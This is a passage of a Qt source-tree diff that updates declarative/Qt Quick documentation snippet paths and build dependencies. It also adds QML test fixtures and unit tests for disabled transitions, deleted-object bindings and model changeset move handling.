- \quotefile doc/src/snippets/declarative/xmlrole.xml
+ \quotefile doc/src/snippets/qtquick1/xmlrole.xml
Here are some valid XPath expressions for XmlRole queries on this document:
- \snippet doc/src/snippets/declarative/xmlrole.qml 0
+ \snippet doc/src/snippets/qtquick1/xmlrole.qml 0
\dots 4
- \snippet doc/src/snippets/declarative/xmlrole.qml 1
+ \snippet doc/src/snippets/qtquick1/xmlrole.qml 1
See the \l{http://www.w3.org/TR/xpath20/}{W3C XPath 2.0 specification} for more information.
*/
diff --git a/sync.profile b/sync.profile
index f7aec34d06..2ea92fb94e 100644
--- a/sync.profile
+++ b/sync.profile
@@ -27,7 +27,6 @@
#
%dependencies = (
"qtbase" => "refs/heads/master",
- "qtscript" => "refs/heads/master",
"qtsvg" => "refs/heads/master",
"qtxmlpatterns" => "refs/heads/master",
);
diff --git a/tests/auto/declarative/examples/examples.pro b/tests/auto/declarative/examples/examples.pro
index 6748d7518b..297559ef97 100644
--- a/tests/auto/declarative/examples/examples.pro
+++ b/tests/auto/declarative/examples/examples.pro
@@ -19,3 +19,5 @@ symbian: {
CONFIG += parallel_test
QT += core-private gui-private declarative-private qtquick1-private widgets-private
+
+qpa:CONFIG+=insignificant_test # QTBUG-20990, aborts
diff --git a/tests/auto/declarative/examples/tst_examples.cpp b/tests/auto/declarative/examples/tst_examples.cpp
index 5368a0eda4..e2edc3e93c 100644
--- a/tests/auto/declarative/examples/tst_examples.cpp
+++ b/tests/auto/declarative/examples/tst_examples.cpp
@@ -76,14 +76,20 @@ private:
tst_examples::tst_examples()
{
// Add directories you want excluded here
+
+ // These snippets are not expected to run on their own.
excludedDirs << "doc/src/snippets/declarative/visualdatamodel_rootindex";
excludedDirs << "doc/src/snippets/declarative/qtbinding";
excludedDirs << "doc/src/snippets/declarative/imports";
+ excludedDirs << "doc/src/snippets/qtquick1/visualdatamodel_rootindex";
+ excludedDirs << "doc/src/snippets/qtquick1/qtbinding";
+ excludedDirs << "doc/src/snippets/qtquick1/imports";
#ifdef QT_NO_WEBKIT
excludedDirs << "examples/declarative/modelviews/webview";
excludedDirs << "examples/declarative/webbrowser";
excludedDirs << "doc/src/snippets/declarative/webview";
+ excludedDirs << "doc/src/snippets/qtquick1/webview";
#endif
#ifdef QT_NO_XMLPATTERNS
diff --git a/tests/auto/declarative/nodes/tst_nodestest.cpp b/tests/auto/declarative/nodes/tst_nodestest.cpp
index 1d825fbd34..6b1fa85a4a 100644
--- a/tests/auto/declarative/nodes/tst_nodestest.cpp
+++ b/tests/auto/declarative/nodes/tst_nodestest.cpp
@@ -220,8 +220,6 @@ void NodesTest::simulatedEffect_data()
void NodesTest::simulatedEffect()
{
- QSKIP("QTBUG-20029", SkipAll);
-
QFETCH(bool, connected);
QSGRootNode root;
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/disabledTransition.qml b/tests/auto/declarative/qdeclarativeanimations/data/disabledTransition.qml
new file mode 100644
index 0000000000..0fbafead8b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/disabledTransition.qml
@@ -0,0 +1,30 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ enabled: false
+ NumberAnimation { targets: theRect; properties: "x" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
index bd9c3e0d7a..367de014b4 100644
--- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
+++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
@@ -77,6 +77,7 @@ private slots:
void mixedTypes();
void properties();
void propertiesTransition();
+ void disabledTransition();
void invalidDuration();
void attached();
void propertyValueSourceDefaultStart();
@@ -576,6 +577,32 @@ void tst_qdeclarativeanimations::propertiesTransition()
}
+void tst_qdeclarativeanimations::disabledTransition()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/disabledTransition.qml"));
+ QSGRectangle *rect = qobject_cast<QSGRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QSGRectangle *myRect = rect->findChild<QSGRectangle*>("TheRect");
+ QVERIFY(myRect);
+
+ QDeclarativeTransition *trans = rect->findChild<QDeclarativeTransition*>();
+ QVERIFY(trans);
+
+ QCOMPARE(trans->enabled(), false);
+
+ QSGItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(200));
+
+ trans->setEnabled(true);
+
+ QSGItemPrivate::get(rect)->setState("");
+ QCOMPARE(myRect->x(),qreal(200));
+ QTest::qWait(300);
+ QTIMED_COMPARE(myRect->x(),qreal(100));
+}
+
void tst_qdeclarativeanimations::invalidDuration()
{
QDeclarativePropertyAnimation *animation = new QDeclarativePropertyAnimation;
diff --git a/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
index 191a96f81d..15248e301d 100644
--- a/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
+++ b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp
@@ -404,7 +404,9 @@ void tst_qdeclarativebehaviors::sameValue()
QCOMPARE(target->x(), qreal(100));
target->setProperty("x", 0);
- qDebug() << "x" << target->x();
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21001 fails", Abort);
+#endif
QTRY_VERIFY(target->x() != qreal(0) && target->x() != qreal(100));
QTRY_VERIFY(target->x() == qreal(0)); //make sure Behavior has finished.
diff --git a/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml b/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml
new file mode 100644
index 0000000000..f9cf869ba3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml
@@ -0,0 +1,24 @@
+import QtQuick 2.0
+
+Rectangle {
+ id: wrapper
+ width: 400
+ height: 400
+
+ property bool activateBinding: false
+
+ Binding {
+ id: binding
+ target: Qt.createQmlObject('import QtQuick 2.0; Item { property real value: 10 }', wrapper)
+ property: "value"
+ when: activateBinding
+ value: x + y
+ }
+
+ Component.onCompleted: binding.target.destroy();
+
+// MouseArea {
+// anchors.fill: parent
+// onClicked: activateBinding = true;
+// }
+}
diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp
index 2e64fed0ed..3effd68b39 100644
--- a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp
+++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp
@@ -62,6 +62,7 @@ private slots:
void whenAfterValue();
void restoreBinding();
void restoreBindingWithLoop();
+ void deletedObject();
private:
QDeclarativeEngine engine;
@@ -179,6 +180,22 @@ void tst_qdeclarativebinding::restoreBindingWithLoop()
delete rect;
}
+//QTBUG-20692
+void tst_qdeclarativebinding::deletedObject()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/deletedObject.qml"));
+ QSGRectangle *rect = qobject_cast<QSGRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QApplication::sendPostedEvents(0, QEvent::DeferredDelete);
+
+ //don't crash
+ rect->setProperty("activateBinding", true);
+
+ delete rect;
+}
+
QTEST_MAIN(tst_qdeclarativebinding)
#include "tst_qdeclarativebinding.moc"
diff --git a/tests/auto/declarative/qdeclarativechangeset/tst_qdeclarativechangeset.cpp b/tests/auto/declarative/qdeclarativechangeset/tst_qdeclarativechangeset.cpp
index 018711ac64..4aaefba7c4 100644
--- a/tests/auto/declarative/qdeclarativechangeset/tst_qdeclarativechangeset.cpp
+++ b/tests/auto/declarative/qdeclarativechangeset/tst_qdeclarativechangeset.cpp
@@ -43,17 +43,16 @@
#define VERIFY_EXPECTED_OUTPUT
-
-
class tst_qdeclarativemodelchange : public QObject
{
Q_OBJECT
public:
struct Signal
{
- int start;
- int end;
+ int index;
+ int count;
int to;
+ int moveId;
bool isInsert() const { return to == -1; }
bool isRemove() const { return to == -2; }
@@ -61,10 +60,10 @@ public:
bool isChange() const { return to == -3; }
};
- static Signal Insert(int start, int end) { Signal signal = { start, end, -1 }; return signal; }
- static Signal Remove(int start, int end) { Signal signal = { start, end, -2 }; return signal; }
- static Signal Move(int start, int end, int to) { Signal signal = { start, end, to }; return signal; }
- static Signal Change(int start, int end) { Signal signal = { start, end, -3 }; return signal; }
+ static Signal Insert(int index, int count, int moveId = -1) { Signal signal = { index, count, -1, moveId }; return signal; }
+ static Signal Remove(int index, int count, int moveId = -1) { Signal signal = { index, count, -2, moveId }; return signal; }
+ static Signal Move(int from, int to, int count) { Signal signal = { from, count, to, -1 }; return signal; }
+ static Signal Change(int index, int count) { Signal signal = { index, count, -3, -1 }; return signal; }
typedef QVector<Signal> SignalList;
@@ -100,16 +99,24 @@ public:
QVector<int> applyChanges(const QVector<int> &list, const QVector<Signal> &changes)
{
+ QHash<int, QVector<int> > removedValues;
QVector<int> alteredList = list;
foreach (const Signal &signal, changes) {
if (signal.isInsert()) {
- alteredList.insert(signal.start, signal.end - signal.start, 100);
+ if (signal.moveId != -1) {
+ QVector<int> tail = alteredList.mid(signal.index);
+ alteredList = alteredList.mid(0, signal.index) + removedValues.take(signal.moveId) + tail;
+ } else {
+ alteredList.insert(signal.index, signal.count, 100);
+ }
} else if (signal.isRemove()) {
- alteredList.erase(alteredList.begin() + signal.start, alteredList.begin() + signal.end);
+ if (signal.moveId != -1)
+ removedValues.insert(signal.moveId, alteredList.mid(signal.index, signal.count));
+ alteredList.erase(alteredList.begin() + signal.index, alteredList.begin() + signal.index + signal.count);
} else if (signal.isMove()) {
- move(signal.start, signal.to, signal.end - signal.start, &alteredList);
+ move(signal.index, signal.to, signal.count, &alteredList);
} else if (signal.isChange()) {
- for (int i = signal.start; i < signal.end; ++i) {
+ for (int i = signal.index; i < signal.index + signal.count; ++i) {
if (alteredList[i] < 100)
alteredList[i] = 100;
}
@@ -126,19 +133,19 @@ private slots:
};
bool operator ==(const tst_qdeclarativemodelchange::Signal &left, const tst_qdeclarativemodelchange::Signal &right) {
- return left.start == right.start && left.end == right.end && left.to == right.to; }
+ return left.index == right.index && left.count == right.count && left.to == right.to; }
QDebug operator <<(QDebug debug, const tst_qdeclarativemodelchange::Signal &signal)
{
if (signal.isInsert())
- debug.nospace() << "Insert(" << signal.start << "," << signal.end << ")";
+ debug.nospace() << "Insert(" << signal.index << "," << signal.count << "," << signal.moveId << ")";
else if (signal.isRemove())
- debug.nospace() << "Remove(" << signal.start << "," << signal.end << ")";
+ debug.nospace() << "Remove(" << signal.index << "," << signal.count << "," << signal.moveId << ")";
else if (signal.isMove())
- debug.nospace() << "Move(" << signal.start << "," << signal.end << "," << signal.to << ")";
+ debug.nospace() << "Move(" << signal.index << "," << signal.to << "," << signal.count << ")";
else if (signal.isChange())
- debug.nospace() << "Change(" << signal.start << "," << signal.end << ")";
+ debug.nospace() << "Change(" << signal.index << "," << signal.count << ")";
return debug;
}
@@ -150,405 +157,571 @@ void tst_qdeclarativemodelchange::sequence_data()
QTest::addColumn<SignalList>("output");
// Insert
- QTest::newRow("i(12-17)")
- << (SignalList() << Insert(12, 17))
- << (SignalList() << Insert(12, 17));
- QTest::newRow("i(2-5),i(12-17)")
- << (SignalList() << Insert(2, 5) << Insert(12, 17))
- << (SignalList() << Insert(2, 5) << Insert(12, 17));
- QTest::newRow("i(12-17),i(2-5)")
- << (SignalList() << Insert(12, 17) << Insert(2, 5))
- << (SignalList() << Insert(2, 5) << Insert(15, 20));
- QTest::newRow("i(12-17),i(12-15)")
- << (SignalList() << Insert(12, 17) << Insert(12, 15))
- << (SignalList() << Insert(12, 20));
- QTest::newRow("i(12-17),i(17-20)")
- << (SignalList() << Insert(12, 17) << Insert(17, 20))
- << (SignalList() << Insert(12, 20));
- QTest::newRow("i(12-17),i(15-18)")
- << (SignalList() << Insert(12, 17) << Insert(15, 18))
- << (SignalList() << Insert(12, 20));
+ QTest::newRow("i(12,5)")
+ << (SignalList() << Insert(12,5))
+ << (SignalList() << Insert(12,5));
+ QTest::newRow("i(2,3),i(12,5)")
+ << (SignalList() << Insert(2,3) << Insert(12,5))
+ << (SignalList() << Insert(2,3) << Insert(12,5));
+ QTest::newRow("i(12,5),i(2,3)")
+ << (SignalList() << Insert(12,5) << Insert(2,3))
+ << (SignalList() << Insert(2,3) << Insert(15,5));
+ QTest::newRow("i(12,5),i(12,3)")
+ << (SignalList() << Insert(12,5) << Insert(12,3))
+ << (SignalList() << Insert(12,8));
+ QTest::newRow("i(12,5),i(17,3)")
+ << (SignalList() << Insert(12,5) << Insert(17,3))
+ << (SignalList() << Insert(12,8));
+ QTest::newRow("i(12,5),i(15,3)")
+ << (SignalList() << Insert(12,5) << Insert(15,3))
+ << (SignalList() << Insert(12,8));
// Remove
- QTest::newRow("r(3-12)")
- << (SignalList() << Remove(3, 12))
- << (SignalList() << Remove(3, 12));
- QTest::newRow("r(3-7),r(3-5)")
- << (SignalList() << Remove(3, 7) << Remove(3, 5))
- << (SignalList() << Remove(3, 9));
- QTest::newRow("r(4-3),r(14-19)")
- << (SignalList() << Remove(4, 7) << Remove(14, 19))
- << (SignalList() << Remove(4, 7) << Remove(14, 19));
- QTest::newRow("r(14-19),r(4-7)")
- << (SignalList() << Remove(14, 19) << Remove(4, 7))
- << (SignalList() << Remove(4, 7) << Remove(11, 16));
- QTest::newRow("r(4-7),r(2-11)")
- << (SignalList() << Remove(4, 7) << Remove(2, 11))
- << (SignalList() << Remove(2, 14));
+ QTest::newRow("r(3,9)")
+ << (SignalList() << Remove(3,9))
+ << (SignalList() << Remove(3,9));
+ QTest::newRow("r(3,4),r(3,2)")
+ << (SignalList() << Remove(3,4) << Remove(3,2))
+ << (SignalList() << Remove(3,6));
+ QTest::newRow("r(4,3),r(14,5)")
+ << (SignalList() << Remove(4,3) << Remove(14,5))
+ << (SignalList() << Remove(4,3) << Remove(14,5));
+ QTest::newRow("r(14,5),r(4,3)")
+ << (SignalList() << Remove(14,5) << Remove(4,3))
+ << (SignalList() << Remove(4,3) << Remove(11,5));
+ QTest::newRow("r(4,3),r(2,9)")
+ << (SignalList() << Remove(4,3) << Remove(2,9))
+ << (SignalList() << Remove(2,12));
// Move
- QTest::newRow("m(8-10,10)")
- << (SignalList() << Move(8, 10, 10))
- << (SignalList() << Move(8, 10, 10));
- // No merging of moves yet.
-// QTest::newRow("m(5-7,13),m(5-8,12)")
-// << (SignalList() << Move(5, 7, 13) << Move(5, 8, 12))
-// << (SignalList() << Move(5, 10, 10));
+ QTest::newRow("m(8-10,2)")
+ << (SignalList() << Move(8,10,2))
+ << (SignalList() << Remove(8,2,1) << Insert(10,2,1));
+
+ QTest::newRow("m(23-12,6),m(13-15,5)")
+ << (SignalList() << Move(23,12,6) << Move(13,15,5))
+ << (SignalList() << Remove(23,1,0) << Remove(23,5,1) << Insert(12,1,0) << Insert(15,5,1));
+ QTest::newRow("m(23-12,6),m(13-15,2)")
+ << (SignalList() << Move(23,12,6) << Move(13,20,2))
+ << (SignalList() << Remove(23,1,0) << Remove(23,2,1) << Remove(23,3,2) << Insert(12,1,0) << Insert(13,3,2) << Insert(20,2,1));
+ QTest::newRow("m(23-12,6),m(13-2,2)")
+ << (SignalList() << Move(23,12,6) << Move(13,2,2))
+ << (SignalList() << Remove(23,1,0) << Remove(23,2,1) << Remove(23,3,2) << Insert(2,2,1) << Insert(14,1,0) << Insert(15,3,2));
+ QTest::newRow("m(23-12,6),m(12-6,5)")
+ << (SignalList() << Move(23,12,6) << Move(12,6,5))
+ << (SignalList() << Remove(23,5,0) << Remove(23,1,1) << Insert(6,5,0) << Insert(17,1,1));
+ QTest::newRow("m(23-12,6),m(10-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(10,5,4))
+ << (SignalList() << Remove(10,2,0) << Remove(21,2,1) << Remove(21,4,2) << Insert(5,2,0) << Insert(7,2,1) << Insert(14,4,2));
+ QTest::newRow("m(23-12,6),m(16-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(16,5,4))
+ << (SignalList() << Remove(12,2,0) << Remove(21,4,1) << Remove(21,2,2) << Insert(5,2,2) << Insert(7,2,0) << Insert(16,4,1));
+ QTest::newRow("m(23-12,6),m(13-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(13,5,4))
+ << (SignalList() << Remove(23,1,0) << Remove(23,4,1) << Remove(23,1,2) << Insert(5,4,1) << Insert(16,1,0) << Insert(17,1,2));
+ QTest::newRow("m(23-12,6),m(14-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(14,5,4))
+ << (SignalList() << Remove(23,2,0) << Remove(23,4,1) << Insert(5,4,1) << Insert(16,2,0));
+ QTest::newRow("m(23-12,6),m(12-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(12,5,4))
+ << (SignalList() << Remove(23,4,0) << Remove(23,2,1) << Insert(5,4,0) << Insert(16,2,1));
+ QTest::newRow("m(23-12,6),m(11-5,8)")
+ << (SignalList() << Move(23,12,6) << Move(11,5,8))
+ << (SignalList() << Remove(11,1,0) << Remove(11,1,1) << Remove(21,6,2) << Insert(5,1,0) << Insert(6,6,2) << Insert(12,1,1));
+ QTest::newRow("m(23-12,6),m(8-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(8,5,4))
+ << (SignalList() << Remove(8,4,0) << Remove(19,6,1) << Insert(5,4,0) << Insert(12,6,1));
+ QTest::newRow("m(23-12,6),m(2-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(2,5,4))
+ << (SignalList() << Remove(2,4,0) << Remove(19,6,1) << Insert(5,4,0) << Insert(12,6,1));
+ QTest::newRow("m(23-12,6),m(18-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(18,5,4))
+ << (SignalList() << Remove(12,4,0) << Remove(19,6,1) << Insert(5,4,0) << Insert(16,6,1));
+ QTest::newRow("m(23-12,6),m(20-5,4)")
+ << (SignalList() << Move(23,12,6) << Move(20,5,4))
+ << (SignalList() << Remove(14,4,0) << Remove(19,6,1) << Insert(5,4,0) << Insert(16,6,1));
+
+ QTest::newRow("m(23-12,6),m(5-13,11)")
+ << (SignalList() << Move(23,12,6) << Move(5,13,11))
+ << (SignalList() << Remove(5,7,0) << Remove(16,4,1) << Remove(16,2,2) << Insert(5,2,2) << Insert(13,7,0) << Insert(20,4,1));
+
+ QTest::newRow("m(23-12,6),m(12-23,6)")
+ << (SignalList() << Move(23,12,6) << Move(12,23,6))
+ << (SignalList() << Remove(23,6,0) << Insert(23,6,0)); // ### These cancel out.
+ QTest::newRow("m(23-12,6),m(10-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(10,23,4))
+ << (SignalList() << Remove(10,2 ,0) << Remove(21,2,1) << Remove(21,4,2) << Insert(10,4,2) << Insert(23,2,0) << Insert(25,2,1));
+ QTest::newRow("m(23-12,6),m(16-23.4)")
+ << (SignalList() << Move(23,12,6) << Move(16,23,4))
+ << (SignalList() << Remove(12,2,0) << Remove(21,4,1) << Remove(21,2,2) << Insert(12,4,1) << Insert(23,2,2) << Insert(25,2,0));
+ QTest::newRow("m(23-12,6),m(13-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(13,23,4))
+ << (SignalList() << Remove(23,1,0) << Remove(23,4,1) << Remove(23,1,2) << Insert(12,1,0) << Insert(13,1,2) << Insert(23,4,1));
+ QTest::newRow("m(23-12,6),m(14-23,)")
+ << (SignalList() << Move(23,12,6) << Move(14,23,4))
+ << (SignalList() << Remove(23,2,0) << Remove(23,4,1) << Insert(12,2,0) << Insert(23,4,1));
+ QTest::newRow("m(23-12,6),m(12-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(12,23,4))
+ << (SignalList() << Remove(23,4,0) << Remove(23,2,1) << Insert(12,2,1) << Insert(23,4,0));
+ QTest::newRow("m(23-12,6),m(11-23,8)")
+ << (SignalList() << Move(23,12,6) << Move(11,23,8))
+ << (SignalList() << Remove(11,1,0) << Remove(11,1,1) << Remove(21,6,2) << Insert(23,1,0) << Insert(24,6,2) << Insert(30,1,1));
+ QTest::newRow("m(23-12,6),m(8-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(8,23,4))
+ << (SignalList() << Remove(8,4,0) << Remove(19,6,1) << Insert(8,6,1) << Insert(23,4,0));
+ QTest::newRow("m(23-12,6),m(2-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(2,23,4))
+ << (SignalList() << Remove(2,4,0) << Remove(19,6,1) << Insert(8,6,1) << Insert(23,4,0));
+ QTest::newRow("m(23-12,6),m(18-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(18,23,4))
+ << (SignalList() << Remove(12,4,0) << Remove(19,6,1) << Insert(12,6,1) << Insert(23,4,0));
+ QTest::newRow("m(23-12,6),m(20-23,4)")
+ << (SignalList() << Move(23,12,6) << Move(20,23,4))
+ << (SignalList() << Remove(14,4,1) << Remove(19,6,0) << Insert(12,6,0) << Insert(23,4,1));
+
+ QTest::newRow("m(23-12,6),m(11-23,10)")
+ << (SignalList() << Move(23,12,6) << Move(11,23,10))
+ << (SignalList() << Remove(11,1,3) << Remove(11,3,1) << Remove(19,6,2) << Insert(23,1,3) << Insert(24,6,2) << Insert(30,3,1));
+
+ QTest::newRow("m(3-9,12),m(13-5,12)")
+ << (SignalList() << Move(3,9,12) << Move(13,15,5))
+ << (SignalList() << Remove(3,4,2) << Remove(3,5,1) << Remove(3,2,0) << Remove(3,1,3) << Insert(9,4,2) << Insert(13,2,0) << Insert(15,5,1) << Insert(20,1,3));
+ QTest::newRow("m(3-9,12),m(13-15,20)")
+ << (SignalList() << Move(3,9,12) << Move(13,15,20))
+ << (SignalList() << Remove(3,4,0) << Remove(3,8,1) << Remove(9,12,2) << Insert(9,4,0) << Insert(15,8,1) << Insert(23,12,2));
+ QTest::newRow("m(3-9,12),m(13-15,2)")
+ << (SignalList() << Move(3,9,12) << Move(13,15,2))
+ << (SignalList() << Remove(3,4,2) << Remove(3,2,1) << Remove(3,2,0) << Remove(3,4,3) << Insert(9,4,2) << Insert(13,2,0) << Insert(15,2,1) << Insert(17,4,3));
+ QTest::newRow("m(3-9,12),m(12-5,6)")
+ << (SignalList() << Move(3,9,12) << Move(12,5,6))
+ << (SignalList() << Remove(3,3,0) << Remove(3,6,1) << Remove(3,3,2) << Insert(5,6,1) << Insert(15,3,0) << Insert(18,3,2));
+ QTest::newRow("m(3-9,12),m(10-14,5)")
+ << (SignalList() << Move(3,9,12) << Move(10,14,5))
+ << (SignalList() << Remove(3,1,2) << Remove(3,5,1) << Remove(3,4,0) << Remove(3,2,3) << Insert(9,1,2) << Insert(10,4,0) << Insert(14,5,1) << Insert(19,2,3));
+ QTest::newRow("m(3-9,12),m(16-20,5)")
+ << (SignalList() << Move(3,9,12) << Move(16,20,5))
+ << (SignalList() << Remove(3,7,0) << Remove(3,5,1) << Insert(9,7,0) << Insert(20,5,1));
+ QTest::newRow("m(3-9,12),m(13-17,5)")
+ << (SignalList() << Move(3,9,12) << Move(13,17,5))
+ << (SignalList() << Remove(3,4,0) << Remove(3,5,1) << Remove(3,3,2) << Insert(9,4,0) << Insert(13,3,2) << Insert(17,5,1));
+ QTest::newRow("m(3-9,12),m(14-18,5)")
+ << (SignalList() << Move(3,9,12) << Move(14,18,5))
+ << (SignalList() << Remove(3,5,0) << Remove(3,5,1) << Remove(3,2,2) << Insert(9,5,0) << Insert(14,2,2) << Insert(18,5,1));
+ QTest::newRow("m(3-9,12),m(12-16,5)")
+ << (SignalList() << Move(3,9,12) << Move(12,16,5))
+ << (SignalList() << Remove(3,3,2) << Remove(3,5,1) << Remove(3,4,0) << Insert(9,3,2) << Insert(12,4,0) << Insert(16,5,1));
+ QTest::newRow("m(3-9,12),m(11-19,5)")
+ << (SignalList() << Move(3,9,12) << Move(11,19,5))
+ << (SignalList() << Remove(3,2,0) << Remove(3,5,1) << Remove(3,5,2) << Insert(9,2,0) << Insert(11,5,2) << Insert(19,5,1));
+ QTest::newRow("m(3-9,12),m(8-12,5)")
+ << (SignalList() << Move(3,9,12) << Move(8,12,5))
+ << (SignalList() << Remove(3,4,1) << Remove(3,4,0) << Remove(3,4,4) << Remove(8,1,2) << Insert(8,4,0) << Insert(12,1,2) << Insert(13,4,1) << Insert(17,4,4));
+ QTest::newRow("m(3-9,12),m(2-6,5)")
+ << (SignalList() << Move(3,9,12) << Move(2,6,5))
+ << (SignalList() << Remove(2,1,2) << Remove(2,2,0) << Remove(2,10,3) << Remove(2,4,1) << Insert(4,2,0) << Insert(6,1,2) << Insert(7,4,1) << Insert(11,10,3));
+ QTest::newRow("m(3-9,12),m(18-22,5)")
+ << (SignalList() << Move(3,9,12) << Move(18,22,5))
+ << (SignalList() << Remove(3,9,0) << Remove(3,3,1) << Remove(9,2,2) << Insert(9,9,0) << Insert(22,3,1) << Insert(25,2,2));
+ QTest::newRow("m(3-9,12),m(20-24,5)")
+ << (SignalList() << Move(3,9,12) << Move(20,24,5))
+ << (SignalList() << Remove(3,11,0) << Remove(3,1,1) << Remove(9,4,2) << Insert(9,11,0) << Insert(24,1,1) << Insert(25,4,2));
+
+ QTest::newRow("m(3-9,12),m(5-11,8)")
+ << (SignalList() << Move(3,9,12) << Move(5,11,8))
+ << (SignalList() << Remove(3,4,1) << Remove(3,6,0) << Remove(3,2,3) << Remove(5,4,2) << Insert(5,6,0) << Insert(11,4,2) << Insert(15,2,3) << Insert(15,4,1));
+
+ QTest::newRow("m(3-9,12),m(12-23,6)")
+ << (SignalList() << Move(3,9,12) << Move(12,23,6))
+ << (SignalList() << Remove(3,3,2) << Remove(3,6,1) << Remove(3,3,0) << Insert(9,3,2) << Insert(12,3,0) << Insert(23,6,1));
+ QTest::newRow("m(3-9,12),m(10-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(10,23,4))
+ << (SignalList() << Remove(3,1,2) << Remove(3,4,1) << Remove(3,7,0) << Insert(9,1,2) << Insert(10,7,0) << Insert(23,4,1));
+ QTest::newRow("m(3-9,12),m(16-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(16,23,4))
+ << (SignalList() << Remove(3,7,2) << Remove(3,4,1) << Remove(3,1,0) << Insert(9,7,2) << Insert(16,1,0) << Insert(23,4,1));
+ QTest::newRow("m(3-9,12),m(13-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(13,23,4))
+ << (SignalList() << Remove(3,4,2) << Remove(3,4,1) << Remove(3,4,0) << Insert(9,4,2) << Insert(13,4,0) << Insert(23,4,1));
+ QTest::newRow("m(3-9,12),m(14-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(14,23,4))
+ << (SignalList() << Remove(3,5,2) << Remove(3,4,1) << Remove(3,3,0) << Insert(9,5,2) << Insert(14,3,0) << Insert(23,4,1));
+ QTest::newRow("m(3-9,12),m(12-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(12,23,4))
+ << (SignalList() << Remove(3,3,2) << Remove(3,4,1) << Remove(3,5,0) << Insert(9,3,2) << Insert(12,5,0) << Insert(23,4,1));
+ QTest::newRow("m(3-9,12),m(11-23,8)")
+ << (SignalList() << Move(3,9,12) << Move(11,23,8))
+ << (SignalList() << Remove(3,2,2) << Remove(3,8,1) << Remove(3,2,0) << Insert(9,2,2) << Insert(11,2,0) << Insert(23,8,1));
+ QTest::newRow("m(3-9,12),m(8-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(8,23,4))
+ << (SignalList() << Remove(3,3,1) << Remove(3,9,0) << Remove(8,1,2) << Insert(8,9,0) << Insert(23,1,2) << Insert(24,3,1));
+ QTest::newRow("m(3-9,12),m(2-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(2,23,4))
+ << (SignalList() << Remove(2,1,2) << Remove(2,12,0) << Remove(2,3,1) << Insert(5,12,0) << Insert(23,1,2) << Insert(24,3,1));
+ QTest::newRow("m(3-9,12),m(18-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(18,23,4))
+ << (SignalList() << Remove(3,9,3) << Remove(3,3,2) << Remove(9,1,1) << Insert(9,9,3) << Insert(23,3,2) << Insert(26,1,1));
+ QTest::newRow("m(3-9,12),m(20-23,4)")
+ << (SignalList() << Move(3,9,12) << Move(20,23,4))
+ << (SignalList() << Remove(3,11,3) << Remove(3,1,2) << Remove(9,3,1) << Insert(9,11,3) << Insert(23,1,2) << Insert(24,3,1));
+
+ QTest::newRow("m(3-9,12),m(11-23,10)")
+ << (SignalList() << Move(3,9,12) << Move(11,23,10))
+ << (SignalList() << Remove(3,2,2) << Remove(3,10,1) << Insert(9,2,2) << Insert(23,10,1));
// Change
- QTest::newRow("c(4-9)")
- << (SignalList() << Change(4, 9))
- << (SignalList() << Change(4, 9));
- QTest::newRow("c(4-9),c(12-14)")
- << (SignalList() << Change(4, 9) << Change(12, 14))
- << (SignalList() << Change(4, 9) << Change(12, 14));
- QTest::newRow("c(12-14),c(4-9)")
- << (SignalList() << Change(12, 14) << Change(4, 9))
- << (SignalList() << Change(4, 9) << Change(12, 14));
- QTest::newRow("c(4-9),c(2-4)")
- << (SignalList() << Change(4, 9) << Change(2, 4))
- << (SignalList() << Change(2, 9));
